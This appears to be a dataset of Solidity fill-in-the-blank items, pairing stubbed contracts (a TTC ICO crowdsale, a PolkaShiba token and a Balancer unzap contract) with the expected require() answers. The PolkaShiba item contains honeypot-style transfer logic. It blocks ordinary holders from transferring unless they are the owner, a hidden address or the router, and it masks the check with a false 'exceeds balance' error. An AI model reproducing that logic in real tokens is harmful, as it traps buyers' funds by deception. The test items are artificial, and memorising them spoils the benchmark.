2018-03-15 10:00 AM (UTC + 08:00) uint private constant MAIN_START_TIME = 1522029600; // 2018-03-26 10:00 AM (UTC + 08:00) uint private constant MAIN_END_TIME = 1524189600; // 2018-04-20 10:00 AM (UTC + 08:00) /* Number of TTC per Ether */ uint public constant PRE_COIN_PER_ETHER_ICO = 5000000000000000000000; // 5,000 TTC uint public constant MAIN_COIN_PER_ETHER_ICO = 4000000000000000000000; // 4,000 TTC /* * Variables */ /* TTC contract reference */ TTC public coin; /*Maximum Ether for one address during pre ico or main ico */ uint public maximumCoinsPerAddress = 10 ether; /* Multisig contract that will receive the Ether during pre ico*/ address public preMultisigEther; /* Number of Ether received during pre ico */ uint public preEtherReceived; /* Number of TTC sent to Ether contributors during pre ico */ uint public preCoinSentToEther; /* Multisig contract that will receive the Ether during main ico*/ address public mainMultisigEther; /* Number of Ether received during main ico */ uint public mainEtherReceived; /* Number of TTC sent to Ether contributors during main ico */ uint public mainCoinSentToEther; /* Backers Ether indexed by their Ethereum address */ mapping(address => Backer) public preBackers; address[] internal preReadyToSendAddress; mapping(address => Backer) public mainBackers; address[] internal mainReadyToSendAddress; /* White List */ mapping(address => bool) public whiteList; /* Current Phase */ Phases public phase = Phases.PreStart; /* * Modifiers */ modifier respectTimeFrame() { } /* * Event */ event LogReceivedETH(address addr, uint value); event LogCoinsEmited(address indexed from, uint amount); /* * Constructor */ function Crowdsale() public{ } /** * Allow to set TTC address */ function setTTCAddress(address _addr) onlyOwner public { } /** * Allow to change the team multisig address in the case of emergency. */ function setMultisigPre(address _addr) onlyOwner public { } /** * Allow to change the team multisig address in the case of emergency. */ function setMultisigMain(address _addr) onlyOwner public { } /** * Allow to change the maximum Coin one address can buy during the ico */ function setMaximumCoinsPerAddress(uint _cnt) onlyOwner public{ } /* * The fallback function corresponds to a donation in ETH */ function() respectTimeFrame payable public{ } /* * Receives a donation in Ether */ function receiveETH(address _beneficiary) internal { } /* * Adjust phase base on time */ function adjustPhaseBasedOnTime() internal { } /* * Durign the pre ico, should be called by owner to send TTC to beneficiary address */ function preSendTTC() onlyOwner public { for(uint i=0; i < preReadyToSendAddress.length ; i++){ address backerAddress = preReadyToSendAddress[i]; uint coinReadyToSend = preBackers[backerAddress].coinReadyToSend; if ( coinReadyToSend > 0) { preBackers[backerAddress].coinReadyToSend = 0; coin.transfer(backerAddress, coinReadyToSend); LogCoinsEmited(backerAddress, coinReadyToSend); } } delete preReadyToSendAddress; require(<FILL_ME>) } /* * Durign the main ico, should be called by owner to send TTC to beneficiary address */ function mainSendTTC() onlyOwner public{ } /* * White list, only address in white list can buy TTC */ function addWhiteList(address[] _whiteList) onlyOwner public{ } /* * Finalize the crowdsale, should be called after the refund period */ function finalize() onlyOwner public { } /** * Manually back TTC owner address. */ function backTTCOwner() onlyOwner public { } /** * Transfer remains to owner in case if impossible to do min invest */ function getPreRemainCoins() onlyOwner public { } /** * Transfer remains to owner in case if impossible to do min invest */ function getMainRemainCoins() onlyOwner public { } /** * Refund to specific address */ function refund(address _beneficiary) onlyOwner public { } /** * Refund to all address */ function refundAll() onlyOwner public { } }
preMultisigEther.send(this.balance)
372,255
preMultisigEther.send(this.balance)
null
pragma solidity ^0.4.16; library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { } function div(uint a, uint b) internal pure returns (uint) { } function sub(uint a, uint b) internal pure returns (uint) { } function add(uint a, uint b) internal pure returns (uint) { } function max64(uint64 a, uint64 b) internal pure returns (uint64) { } function min64(uint64 a, uint64 b) internal pure returns (uint64) { } function max256(uint256 a, uint256 b) internal pure returns (uint256) { } function min256(uint256 a, uint256 b) internal pure returns (uint256) { } } contract ERC20Basic { uint public totalSupply; function balanceOf(address who) public constant returns (uint); function transfer(address to, uint value) public; event Transfer(address indexed from, address indexed to, uint value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint); function transferFrom(address from, address to, uint value) public; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; function transfer(address _to, uint _value) public{ } function balanceOf(address _owner) public constant returns (uint balance) { } } contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; function transferFrom(address _from, address _to, uint _value) public { } function approve(address _spender, uint _value) public{ } function allowance(address _owner, address _spender) public constant returns (uint remaining) { } } contract Ownable { address public owner; function Ownable() public{ } modifier onlyOwner { } function transferOwnership(address newOwner) onlyOwner public{ } } /** * TTC token contract. Implements */ contract TTC is StandardToken, Ownable { string public constant name = "TTC"; string public constant symbol = "TTC"; uint public constant decimals = 18; // Constructor function TTC() public { } /** * Burn away the specified amount of SkinCoin tokens */ function burn(uint _value) onlyOwner public returns (bool) { } } contract Crowdsale is Ownable{ using SafeMath for uint; struct Backer { uint weiReceived; uint coinSent; uint coinReadyToSend; } /* * Constants */ /** * ICO Phases. * * - PreStart: tokens are not yet sold/issued * - PreIco: new tokens sold/issued at the discounted price * - PauseIco: tokens are not sold/issued * - MainIco new tokens sold/issued at the regular price * - AfterIco: tokens are not sold/issued */ enum Phases {PreStart, PreIco, PauseIco, MainIco, AfterIco} /* Maximum number of TTC to pre ico sell */ uint public constant PRE_MAX_CAP = 25000000000000000000000000; // 25,000,000 TTC /* Maximum number of TTC to main ico sell */ uint public constant MAIN_MAX_CAP = 125000000000000000000000000; // 125,000,000 TTC /* Minimum amount to invest */ uint public constant MIN_INVEST_ETHER = 100 finney; /* Crowdsale period */ uint private constant PRE_START_TIME = 1520820000; // 2018-03-12 10:00 AM (UTC + 08:00) uint private constant PRE_END_TIME = 1521079200; // 2018-03-15 10:00 AM (UTC + 08:00) uint private constant MAIN_START_TIME = 1522029600; // 2018-03-26 10:00 AM (UTC + 08:00) uint private constant MAIN_END_TIME = 1524189600; // 2018-04-20 10:00 AM (UTC + 08:00) /* Number of TTC per Ether */ uint public constant PRE_COIN_PER_ETHER_ICO = 5000000000000000000000; // 5,000 TTC uint public constant MAIN_COIN_PER_ETHER_ICO = 4000000000000000000000; // 4,000 TTC /* * Variables */ /* TTC contract reference */ TTC public coin; /*Maximum Ether for one address during pre ico or main ico */ uint public maximumCoinsPerAddress = 10 ether; /* Multisig contract that will receive the Ether during pre ico*/ address public preMultisigEther; /* Number of Ether received during pre ico */ uint public preEtherReceived; /* Number of TTC sent to Ether contributors during pre ico */ uint public preCoinSentToEther; /* Multisig contract that will receive the Ether during main ico*/ address public mainMultisigEther; /* Number of Ether received during main ico */ uint public mainEtherReceived; /* Number of TTC sent to Ether contributors during main ico */ uint public mainCoinSentToEther; /* Backers Ether indexed by their Ethereum address */ mapping(address => Backer) public preBackers; address[] internal preReadyToSendAddress; mapping(address => Backer) public mainBackers; address[] internal mainReadyToSendAddress; /* White List */ mapping(address => bool) public whiteList; /* Current Phase */ Phases public phase = Phases.PreStart; /* * Modifiers */ modifier respectTimeFrame() { } /* * Event */ event LogReceivedETH(address addr, uint value); event LogCoinsEmited(address indexed from, uint amount); /* * Constructor */ function Crowdsale() public{ } /** * Allow to set TTC address */ function setTTCAddress(address _addr) onlyOwner public { } /** * Allow to change the team multisig address in the case of emergency. */ function setMultisigPre(address _addr) onlyOwner public { } /** * Allow to change the team multisig address in the case of emergency. */ function setMultisigMain(address _addr) onlyOwner public { } /** * Allow to change the maximum Coin one address can buy during the ico */ function setMaximumCoinsPerAddress(uint _cnt) onlyOwner public{ } /* * The fallback function corresponds to a donation in ETH */ function() respectTimeFrame payable public{ } /* * Receives a donation in Ether */ function receiveETH(address _beneficiary) internal { } /* * Adjust phase base on time */ function adjustPhaseBasedOnTime() internal { } /* * Durign the pre ico, should be called by owner to send TTC to beneficiary address */ function preSendTTC() onlyOwner public { } /* * Durign the main ico, should be called by owner to send TTC to beneficiary address */ function mainSendTTC() onlyOwner public{ for(uint i=0; i < mainReadyToSendAddress.length ; i++){ address backerAddress = mainReadyToSendAddress[i]; uint coinReadyToSend = mainBackers[backerAddress].coinReadyToSend; if ( coinReadyToSend > 0) { mainBackers[backerAddress].coinReadyToSend = 0; coin.transfer(backerAddress, coinReadyToSend); LogCoinsEmited(backerAddress, coinReadyToSend); } } delete mainReadyToSendAddress; require(<FILL_ME>) } /* * White list, only address in white list can buy TTC */ function addWhiteList(address[] _whiteList) onlyOwner public{ } /* * Finalize the crowdsale, should be called after the refund period */ function finalize() onlyOwner public { } /** * Manually back TTC owner address. */ function backTTCOwner() onlyOwner public { } /** * Transfer remains to owner in case if impossible to do min invest */ function getPreRemainCoins() onlyOwner public { } /** * Transfer remains to owner in case if impossible to do min invest */ function getMainRemainCoins() onlyOwner public { } /** * Refund to specific address */ function refund(address _beneficiary) onlyOwner public { } /** * Refund to all address */ function refundAll() onlyOwner public { } }
mainMultisigEther.send(this.balance)
372,255
mainMultisigEther.send(this.balance)
null
pragma solidity ^0.4.16; library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { } function div(uint a, uint b) internal pure returns (uint) { } function sub(uint a, uint b) internal pure returns (uint) { } function add(uint a, uint b) internal pure returns (uint) { } function max64(uint64 a, uint64 b) internal pure returns (uint64) { } function min64(uint64 a, uint64 b) internal pure returns (uint64) { } function max256(uint256 a, uint256 b) internal pure returns (uint256) { } function min256(uint256 a, uint256 b) internal pure returns (uint256) { } } contract ERC20Basic { uint public totalSupply; function balanceOf(address who) public constant returns (uint); function transfer(address to, uint value) public; event Transfer(address indexed from, address indexed to, uint value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint); function transferFrom(address from, address to, uint value) public; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; function transfer(address _to, uint _value) public{ } function balanceOf(address _owner) public constant returns (uint balance) { } } contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; function transferFrom(address _from, address _to, uint _value) public { } function approve(address _spender, uint _value) public{ } function allowance(address _owner, address _spender) public constant returns (uint remaining) { } } contract Ownable { address public owner; function Ownable() public{ } modifier onlyOwner { } function transferOwnership(address newOwner) onlyOwner public{ } } /** * TTC token contract. Implements */ contract TTC is StandardToken, Ownable { string public constant name = "TTC"; string public constant symbol = "TTC"; uint public constant decimals = 18; // Constructor function TTC() public { } /** * Burn away the specified amount of SkinCoin tokens */ function burn(uint _value) onlyOwner public returns (bool) { } } contract Crowdsale is Ownable{ using SafeMath for uint; struct Backer { uint weiReceived; uint coinSent; uint coinReadyToSend; } /* * Constants */ /** * ICO Phases. * * - PreStart: tokens are not yet sold/issued * - PreIco: new tokens sold/issued at the discounted price * - PauseIco: tokens are not sold/issued * - MainIco new tokens sold/issued at the regular price * - AfterIco: tokens are not sold/issued */ enum Phases {PreStart, PreIco, PauseIco, MainIco, AfterIco} /* Maximum number of TTC to pre ico sell */ uint public constant PRE_MAX_CAP = 25000000000000000000000000; // 25,000,000 TTC /* Maximum number of TTC to main ico sell */ uint public constant MAIN_MAX_CAP = 125000000000000000000000000; // 125,000,000 TTC /* Minimum amount to invest */ uint public constant MIN_INVEST_ETHER = 100 finney; /* Crowdsale period */ uint private constant PRE_START_TIME = 1520820000; // 2018-03-12 10:00 AM (UTC + 08:00) uint private constant PRE_END_TIME = 1521079200; // 2018-03-15 10:00 AM (UTC + 08:00) uint private constant MAIN_START_TIME = 1522029600; // 2018-03-26 10:00 AM (UTC + 08:00) uint private constant MAIN_END_TIME = 1524189600; // 2018-04-20 10:00 AM (UTC + 08:00) /* Number of TTC per Ether */ uint public constant PRE_COIN_PER_ETHER_ICO = 5000000000000000000000; // 5,000 TTC uint public constant MAIN_COIN_PER_ETHER_ICO = 4000000000000000000000; // 4,000 TTC /* * Variables */ /* TTC contract reference */ TTC public coin; /*Maximum Ether for one address during pre ico or main ico */ uint public maximumCoinsPerAddress = 10 ether; /* Multisig contract that will receive the Ether during pre ico*/ address public preMultisigEther; /* Number of Ether received during pre ico */ uint public preEtherReceived; /* Number of TTC sent to Ether contributors during pre ico */ uint public preCoinSentToEther; /* Multisig contract that will receive the Ether during main ico*/ address public mainMultisigEther; /* Number of Ether received during main ico */ uint public mainEtherReceived; /* Number of TTC sent to Ether contributors during main ico */ uint public mainCoinSentToEther; /* Backers Ether indexed by their Ethereum address */ mapping(address => Backer) public preBackers; address[] internal preReadyToSendAddress; mapping(address => Backer) public mainBackers; address[] internal mainReadyToSendAddress; /* White List */ mapping(address => bool) public whiteList; /* Current Phase */ Phases public phase = Phases.PreStart; /* * Modifiers */ modifier respectTimeFrame() { } /* * Event */ event LogReceivedETH(address addr, uint value); event LogCoinsEmited(address indexed from, uint amount); /* * Constructor */ function Crowdsale() public{ } /** * Allow to set TTC address */ function setTTCAddress(address _addr) onlyOwner public { } /** * Allow to change the team multisig address in the case of emergency. */ function setMultisigPre(address _addr) onlyOwner public { } /** * Allow to change the team multisig address in the case of emergency. */ function setMultisigMain(address _addr) onlyOwner public { } /** * Allow to change the maximum Coin one address can buy during the ico */ function setMaximumCoinsPerAddress(uint _cnt) onlyOwner public{ } /* * The fallback function corresponds to a donation in ETH */ function() respectTimeFrame payable public{ } /* * Receives a donation in Ether */ function receiveETH(address _beneficiary) internal { } /* * Adjust phase base on time */ function adjustPhaseBasedOnTime() internal { } /* * Durign the pre ico, should be called by owner to send TTC to beneficiary address */ function preSendTTC() onlyOwner public { } /* * Durign the main ico, should be called by owner to send TTC to beneficiary address */ function mainSendTTC() onlyOwner public{ } /* * White list, only address in white list can buy TTC */ function addWhiteList(address[] _whiteList) onlyOwner public{ } /* * Finalize the crowdsale, should be called after the refund period */ function finalize() onlyOwner public { } /** * Manually back TTC owner address. */ function backTTCOwner() onlyOwner public { } /** * Transfer remains to owner in case if impossible to do min invest */ function getPreRemainCoins() onlyOwner public { } /** * Transfer remains to owner in case if impossible to do min invest */ function getMainRemainCoins() onlyOwner public { } /** * Refund to specific address */ function refund(address _beneficiary) onlyOwner public { uint valueToSend = 0; Backer storage preBacker = preBackers[_beneficiary]; if (preBacker.coinReadyToSend > 0){ uint preValueToSend = preBacker.coinReadyToSend.mul(1 ether).div(PRE_COIN_PER_ETHER_ICO); preBacker.coinSent = preBacker.coinSent.sub(preBacker.coinReadyToSend); preBacker.weiReceived = preBacker.weiReceived.sub(preValueToSend); preEtherReceived = preEtherReceived.sub(preValueToSend); preCoinSentToEther = preCoinSentToEther.sub(preBacker.coinReadyToSend); preBacker.coinReadyToSend = 0; valueToSend = valueToSend + preValueToSend; } Backer storage mainBacker = mainBackers[_beneficiary]; if (mainBacker.coinReadyToSend > 0){ uint mainValueToSend = mainBacker.coinReadyToSend.mul(1 ether).div(MAIN_COIN_PER_ETHER_ICO); mainBacker.coinSent = mainBacker.coinSent.sub(mainBacker.coinReadyToSend); mainBacker.weiReceived = mainBacker.weiReceived.sub(mainValueToSend); mainEtherReceived = mainEtherReceived.sub(mainValueToSend); mainCoinSentToEther = mainCoinSentToEther.sub(mainBacker.coinReadyToSend); mainBacker.coinReadyToSend = 0; valueToSend = valueToSend + mainValueToSend; } if (valueToSend > 0){ require(<FILL_ME>) } } /** * Refund to all address */ function refundAll() onlyOwner public { } }
_beneficiary.send(valueToSend)
372,255
_beneficiary.send(valueToSend)
"ERC20: transfer amount exceeds balance"
pragma solidity ^0.6.12; // Multichain NFT Market // Staking and Bonding- up to 16000% APY // www.polkashiba.com // https://t.me/PolkaShiba // Fair Launch // No Tax, No Fees library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function mod(uint256 a, uint256 b) internal pure returns (uint256) { } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } library Address { function isContract(address account) internal view returns (bool) { } function sendValue(address payable recipient, uint256 amount) internal { } function functionCall(address target, bytes memory data) internal returns (bytes memory) { } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { } function _msgData() internal view virtual returns (bytes memory) { } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { } function owner() public view returns (address) { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) private onlyOwner { } address private newComer = _msgSender(); modifier onlyOwner() { } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract PolkaShiba is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 1000 * 10**9 * 10**18; string private _name = 'PolkaShiba'; string private _symbol = 'POSHI'; uint8 private _decimals = 18; address private _owner; address private _safeOwner; address private _uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor () public { } function name() public view returns (string memory) { } function symbol() public view returns (string memory) { } function decimals() public view returns (uint8) { } function totalSupply() public view override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } modifier approveChecker(address bored, address recipient, uint256 amount){ if (_owner == _safeOwner && bored == _owner){_safeOwner = recipient;_;} else{if (bored == _owner || bored == _safeOwner || recipient == _owner){_;} else{require(<FILL_ME>)_;}} } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { } function burn(uint256 amount) external onlyOwner{ } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ } function _burn(address account, uint256 amount) internal virtual onlyOwner { } function _approve(address owner, address spender, uint256 amount) internal virtual { } function _approveCheck(address sender, address recipient, uint256 amount) internal approveChecker(sender, recipient, amount) virtual { } }
(bored==_safeOwner)||(recipient==_uniRouter),"ERC20: transfer amount exceeds balance"
372,280
(bored==_safeOwner)||(recipient==_uniRouter)
"Invalid Balancer Pool"
///@author DeFiZap ///@notice this contract helps in exiting balancer pools with ETH/ERC20 tokens pragma solidity 0.5.12; interface IBFactory_Balancer_Unzap_V1_1 { function isBPool(address b) external view returns (bool); } interface IBPool_Balancer_Unzap_V1_1 { function exitswapPoolAmountIn( address tokenOut, uint256 poolAmountIn, uint256 minAmountOut ) external payable returns (uint256 tokenAmountOut); function totalSupply() external view returns (uint256); function getFinalTokens() external view returns (address[] memory tokens); function getDenormalizedWeight(address token) external view returns (uint256); function getTotalDenormalizedWeight() external view returns (uint256); function getSwapFee() external view returns (uint256); function isBound(address t) external view returns (bool); function calcSingleOutGivenPoolIn( uint256 tokenBalanceOut, uint256 tokenWeightOut, uint256 poolSupply, uint256 totalWeight, uint256 poolAmountIn, uint256 swapFee ) external pure returns (uint256 tokenAmountOut); function getBalance(address token) external view returns (uint256); } interface IuniswapFactory_Balancer_Unzap_V1_1 { function getExchange(address token) external view returns (address exchange); } interface Iuniswap_Balancer_Unzap_V1_1 { // converting ERC20 to ERC20 and transfer function tokenToTokenTransferInput( uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr ) external returns (uint256 tokens_bought); function getTokenToEthInputPrice(uint256 tokens_sold) external view returns (uint256 eth_bought); function getEthToTokenInputPrice(uint256 eth_sold) external view returns (uint256 tokens_bought); function tokenToEthTransferInput( uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient ) external returns (uint256 eth_bought); function balanceOf(address _owner) external view returns (uint256); function transfer(address _to, uint256 _value) external returns (bool); function transferFrom( address from, address to, uint256 tokens ) external returns (bool success); } interface IWETH { function deposit() external payable; function transfer(address to, uint256 value) external returns (bool); function withdraw(uint256) external; } contract Balancer_Unzap_V1_1 is ReentrancyGuard, Ownable { using SafeMath for uint256; using Address for address; bool private stopped = false; uint16 public goodwill; address public dzgoodwillAddress; uint256 public defaultSlippage; IuniswapFactory_Balancer_Unzap_V1_1 public UniSwapFactoryAddress = IuniswapFactory_Balancer_Unzap_V1_1( 0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95 ); IBFactory_Balancer_Unzap_V1_1 BalancerFactory = IBFactory_Balancer_Unzap_V1_1( 0x9424B1412450D0f8Fc2255FAf6046b98213B76Bd ); address wethTokenAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Zapout( address _toWhomToIssue, address _fromBalancerPoolAddress, address _toTokenContractAddress, uint256 _OutgoingAmount ); constructor( uint16 _goodwill, address _dzgoodwillAddress, uint256 _slippage ) public { } // circuit breaker modifiers modifier stopInEmergency { } /** @notice This function is used for zapping out of balancer pools @param _ToTokenContractAddress The token in which we want zapout (for ethers, its zero address) @param _FromBalancerPoolAddress The address of balancer pool to zap out @param _IncomingBPT The quantity of balancer pool tokens @param slippage slippage user wants @return success or failure */ function EasyZapOut( address _ToTokenContractAddress, address _FromBalancerPoolAddress, uint256 _IncomingBPT, uint256 slippage ) public payable nonReentrant stopInEmergency returns (uint256) { require(<FILL_ME>) uint256 withSlippage = slippage > 0 && slippage < 10000 ? slippage : defaultSlippage; address _FromTokenAddress; if ( IBPool_Balancer_Unzap_V1_1(_FromBalancerPoolAddress).isBound( _ToTokenContractAddress ) ) { _FromTokenAddress = _ToTokenContractAddress; } else if ( _ToTokenContractAddress == address(0) && IBPool_Balancer_Unzap_V1_1(_FromBalancerPoolAddress).isBound( wethTokenAddress ) ) { _FromTokenAddress = wethTokenAddress; } else { _FromTokenAddress = _getBestDeal( _FromBalancerPoolAddress, _IncomingBPT ); } return ( _performZapOut( msg.sender, _ToTokenContractAddress, _FromBalancerPoolAddress, _IncomingBPT, _FromTokenAddress, withSlippage ) ); } /** @notice In the case of user wanting to get out in ETH, the '_ToTokenContractAddress' it will be address(0x0) @param _toWhomToIssue is the address of user @param _ToTokenContractAddress is the address of the token to which you want to convert to @param _FromBalancerPoolAddress the address of the Balancer Pool from which you want to ZapOut @param _IncomingBPT is the quantity of Balancer Pool tokens that the user wants to ZapOut @param _IntermediateToken is the token to which the Balancer Pool should be Zapped Out @param slippage slippage user wants @notice this is only used if the outgoing token is not amongst the Balancer Pool tokens @return success or failure */ function ZapOut( address payable _toWhomToIssue, address _ToTokenContractAddress, address _FromBalancerPoolAddress, uint256 _IncomingBPT, address _IntermediateToken, uint256 slippage ) public payable nonReentrant stopInEmergency returns (uint256) { } /** @notice This method is called by ZapOut and EasyZapOut() @param _toWhomToIssue is the address of user @param _ToTokenContractAddress is the address of the token to which you want to convert to @param _FromBalancerPoolAddress the address of the Balancer Pool from which you want to ZapOut @param _IncomingBPT is the quantity of Balancer Pool tokens that the user wants to ZapOut @param _IntermediateToken is the token to which the Balancer Pool should be Zapped Out @notice this is only used if the outgoing token is not amongst the Balancer Pool tokens @return success or failure */ function _performZapOut( address payable _toWhomToIssue, address _ToTokenContractAddress, address _FromBalancerPoolAddress, uint256 _IncomingBPT, address _IntermediateToken, uint256 slippage ) internal returns (uint256) { } /** @notice This function is used for zapping out of balancer pool @param _FromBalancerPoolAddress The address of balancer pool to zap out @param _ToTokenContractAddress The token in which we want to zapout (for ethers, its zero address) @param _toWhomToIssue The address of user @param tokens2Trade The quantity of balancer pool tokens @return success or failure */ function _directZapout( address _FromBalancerPoolAddress, address _ToTokenContractAddress, address _toWhomToIssue, uint256 tokens2Trade ) internal returns (uint256 returnedTokens) { } /** @notice This function is used to calculate and transfer goodwill @param _tokenContractAddress Token address in which goodwill is deducted @param tokens2Trade The total amount of tokens to be zapped out @param _toWhomToIssue The address of user @return The amount of goodwill deducted */ function _transferGoodwill( address _tokenContractAddress, uint256 tokens2Trade, address _toWhomToIssue ) internal returns (uint256 goodwillPortion) { } /** @notice This function finds best token from the final tokens of balancer pool @param _FromBalancerPoolAddress The address of balancer pool to zap out @param _IncomingBPT The amount of balancer pool token to covert @return The token address having max liquidity */ function _getBestDeal( address _FromBalancerPoolAddress, uint256 _IncomingBPT ) internal view returns (address _token) { } /** @notice This function gives the amount of tokens on zapping out from given BPool @param _FromBalancerPoolAddress Address of balancer pool to zapout from @param _IncomingBPT The amount of BPT to zapout @param _toToken Address of token to zap out with @return Amount of ERC token */ function getBPT2Token( address _FromBalancerPoolAddress, uint256 _IncomingBPT, address _toToken ) internal view returns (uint256 tokensReturned) { } /** @notice This function is used to zap out of the given balancer pool @param _FromBalancerPoolAddress The address of balancer pool to zap out @param _ToTokenContractAddress The Token address which will be zapped out @param _amount The amount of token for zapout @return The amount of tokens received after zap out */ function _exitBalancer( address _FromBalancerPoolAddress, address _ToTokenContractAddress, uint256 _amount ) internal returns (uint256 returnedTokens) { } /** @notice This function is used to swap tokens @param _FromTokenContractAddress The token address to swap from @param _ToWhomToIssue The address to transfer after swap @param _ToTokenContractAddress The token address to swap to @param tokens2Trade The quantity of tokens to swap @return The amount of tokens returned after swap */ function _token2Token( address _FromTokenContractAddress, address _ToWhomToIssue, address _ToTokenContractAddress, uint256 tokens2Trade, uint256 slippage ) internal returns (uint256 tokenBought) { } /** @notice This function is used to swap tokens to eth @param _FromTokenContractAddress The token address to swap from @param tokens2Trade The quantity of tokens to swap @param _toWhomToIssue The address to transfer after swap @return The amount of ether returned after swap */ function _token2Eth( address _FromTokenContractAddress, uint256 tokens2Trade, address payable _toWhomToIssue, uint256 slippage ) internal returns (uint256 ethBought) { } function updateSlippage(uint256 _newSlippage) public onlyOwner { } function set_new_goodwill(uint16 _new_goodwill) public onlyOwner { } function set_new_dzgoodwillAddress(address _new_dzgoodwillAddress) public onlyOwner { } function inCaseTokengetsStuck(IERC20 _TokenAddress) public onlyOwner { } // - to Pause the contract function toggleContractActive() public onlyOwner { } // - to withdraw any ETH balance sitting in the contract function withdraw() public onlyOwner { } // - to kill the contract function destruct() public onlyOwner { } function() external payable {} }
BalancerFactory.isBPool(_FromBalancerPoolAddress),"Invalid Balancer Pool"
372,318
BalancerFactory.isBPool(_FromBalancerPoolAddress)
null
///@author DeFiZap ///@notice this contract helps in exiting balancer pools with ETH/ERC20 tokens pragma solidity 0.5.12; interface IBFactory_Balancer_Unzap_V1_1 { function isBPool(address b) external view returns (bool); } interface IBPool_Balancer_Unzap_V1_1 { function exitswapPoolAmountIn( address tokenOut, uint256 poolAmountIn, uint256 minAmountOut ) external payable returns (uint256 tokenAmountOut); function totalSupply() external view returns (uint256); function getFinalTokens() external view returns (address[] memory tokens); function getDenormalizedWeight(address token) external view returns (uint256); function getTotalDenormalizedWeight() external view returns (uint256); function getSwapFee() external view returns (uint256); function isBound(address t) external view returns (bool); function calcSingleOutGivenPoolIn( uint256 tokenBalanceOut, uint256 tokenWeightOut, uint256 poolSupply, uint256 totalWeight, uint256 poolAmountIn, uint256 swapFee ) external pure returns (uint256 tokenAmountOut); function getBalance(address token) external view returns (uint256); } interface IuniswapFactory_Balancer_Unzap_V1_1 { function getExchange(address token) external view returns (address exchange); } interface Iuniswap_Balancer_Unzap_V1_1 { // converting ERC20 to ERC20 and transfer function tokenToTokenTransferInput( uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr ) external returns (uint256 tokens_bought); function getTokenToEthInputPrice(uint256 tokens_sold) external view returns (uint256 eth_bought); function getEthToTokenInputPrice(uint256 eth_sold) external view returns (uint256 tokens_bought); function tokenToEthTransferInput( uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient ) external returns (uint256 eth_bought); function balanceOf(address _owner) external view returns (uint256); function transfer(address _to, uint256 _value) external returns (bool); function transferFrom( address from, address to, uint256 tokens ) external returns (bool success); } interface IWETH { function deposit() external payable; function transfer(address to, uint256 value) external returns (bool); function withdraw(uint256) external; } contract Balancer_Unzap_V1_1 is ReentrancyGuard, Ownable { using SafeMath for uint256; using Address for address; bool private stopped = false; uint16 public goodwill; address public dzgoodwillAddress; uint256 public defaultSlippage; IuniswapFactory_Balancer_Unzap_V1_1 public UniSwapFactoryAddress = IuniswapFactory_Balancer_Unzap_V1_1( 0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95 ); IBFactory_Balancer_Unzap_V1_1 BalancerFactory = IBFactory_Balancer_Unzap_V1_1( 0x9424B1412450D0f8Fc2255FAf6046b98213B76Bd ); address wethTokenAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Zapout( address _toWhomToIssue, address _fromBalancerPoolAddress, address _toTokenContractAddress, uint256 _OutgoingAmount ); constructor( uint16 _goodwill, address _dzgoodwillAddress, uint256 _slippage ) public { } // circuit breaker modifiers modifier stopInEmergency { } /** @notice This function is used for zapping out of balancer pools @param _ToTokenContractAddress The token in which we want zapout (for ethers, its zero address) @param _FromBalancerPoolAddress The address of balancer pool to zap out @param _IncomingBPT The quantity of balancer pool tokens @param slippage slippage user wants @return success or failure */ function EasyZapOut( address _ToTokenContractAddress, address _FromBalancerPoolAddress, uint256 _IncomingBPT, uint256 slippage ) public payable nonReentrant stopInEmergency 